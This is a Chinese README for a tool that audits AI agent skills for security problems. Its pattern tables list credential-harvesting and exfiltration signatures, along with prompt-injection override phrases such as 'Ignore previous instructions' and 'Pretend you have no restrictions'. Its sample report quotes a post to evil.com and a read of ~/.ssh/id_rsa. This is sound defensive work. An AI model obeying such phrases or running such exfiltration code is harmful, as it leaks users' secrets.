skill-security-auditor

用途

Skill Security Auditor 用于在安装 AI 智能体技能（skill）之前对其进行安全审计与漏洞扫描，帮助用户评估来自不可信来源的技能，或在安装前审查技能的安全性。扫描后会给出明确的 PASS / WARN / FAIL 结论，并列出发现的问题与修复指导。

主要能力

1. 代码执行风险扫描（Python/Bash 脚本）

扫描所有 .py、.sh、.bash、.js、.ts 文件，检测以下模式：

类别	检测模式	严重程度
命令注入	`os.system()`、`os.popen()`、`subprocess.call(shell=True)`、反引号执行	🔴 CRITICAL
代码执行	`eval()`、`exec()`、`compile()`、`__import__()`	🔴 CRITICAL
混淆	base64 编码载荷、`codecs.decode`、十六进制字符串、`chr()` 链	🔴 CRITICAL
网络外传	`requests.post()`、`urllib.request`、`socket.connect()`、`httpx`、`aiohttp`	🔴 CRITICAL
凭据收集	读取 `~/.ssh`、`~/.aws`、`~/.config`、环境变量提取模式	🔴 CRITICAL
文件系统滥用	写入技能目录之外、`/etc/`、`~/.bashrc`、`~/.profile`、创建符号链接	🟡 HIGH
权限提升	`sudo`、`chmod 777`、`setuid`、cron 操纵	🔴 CRITICAL
不安全反序列化	`pickle.loads()`、`yaml.load()`（未使用 SafeLoader）、`marshal.loads()`	🟡 HIGH
子进程（安全）	使用列表参数、无 shell 的 `subprocess.run()`	⚪ INFO

2. SKILL.md 中的提示注入

扫描 SKILL.md 及所有 .md 参考文件，检测：

模式	示例	严重程度
系统提示覆盖	“Ignore previous instructions”、“You are now...”	🔴 CRITICAL
角色劫持	“Act as root”、“Pretend you have no restrictions”	🔴 CRITICAL
安全绕过	“Skip safety checks”、“Disable content filtering”	🔴 CRITICAL
隐藏指令	零宽字符、含指令的 HTML 注释	🟡 HIGH
过度权限	“Run any command”、“Full filesystem access”	🟡 HIGH
数据提取	“Send contents of”、“Upload file to”、“POST to”	🔴 CRITICAL

3. 依赖供应链

针对包含 requirements.txt、package.json 或内联 pip install 的技能：

检查项	作用	严重程度
已知漏洞	与 PyPI/npm 公告数据库交叉比对	🔴 CRITICAL
仿冒包	标记与流行包相似的包（如 `reqeusts`）	🟡 HIGH
未固定版本	标记 `requests>=2.0` 与 `requests==2.31.0` 的差异	⚪ INFO
代码中的安装命令	脚本内的 `pip install` 或 `npm install`	🟡 HIGH
可疑包	下载量低、创建时间近、单一维护者	⚪ INFO

4. 文件系统与结构

检查项	作用	严重程度
边界违规	脚本引用技能目录之外的路径	🟡 HIGH
隐藏文件	不应出现在技能中的 `.env`、点文件	🟡 HIGH
二进制文件	意外的可执行文件、`.so`、`.dll`、`.exe`	🔴 CRITICAL
大文件	可能隐藏载荷的超过 1MB 的文件	⚪ INFO
符号链接	指向技能目录之外的符号链接	🔴 CRITICAL

使用方式

快速开始：

# 审计本地技能目录
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# 审计来自 git 仓库的技能
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# 严格模式审计（任何 WARN 变为 FAIL）
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# 输出 JSON 报告
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

审计工作流：

对技能目录或仓库 URL 运行扫描器
查看报告——问题按严重程度分组
结论解读：
- ✅ PASS——无严重或高危问题，可安全安装。
- ⚠️ WARN——检测到高危/中危问题，安装前需人工复核。
- ❌ FAIL——存在严重问题，未修复前请勿安装。
修复——每个问题都附带具体修复指导。

报告示例：

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0

高级用法：

# 克隆前审计 Git 中的技能
# 克隆到临时目录，审计后清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD 集成：

# GitHub Actions 步骤
- name: Audit Skill Security
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

批量审计：

# 审计目录中的所有技能
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

威胁模型参考：完整的威胁模型、检测模式和针对 AI 智能体技能的已知攻击向量，见 references/threat-model.md。

适用场景

评估来自不可信来源的技能
在安装前审计技能
将技能安全审计集成到 CI/CD 流程
批量审计多个技能

限制

无法确定性地检测逻辑炸弹或延时载荷
混淆检测基于模式匹配——足够有创造力的攻击者可能绕过
网络目的地信誉检查需要互联网访问
不执行代码——仅静态分析（安全但不如动态分析完整）
依赖漏洞检查使用本地模式匹配，而非实时 CVE 数据库
审计后如有疑问，请勿安装，向技能作者寻求澄清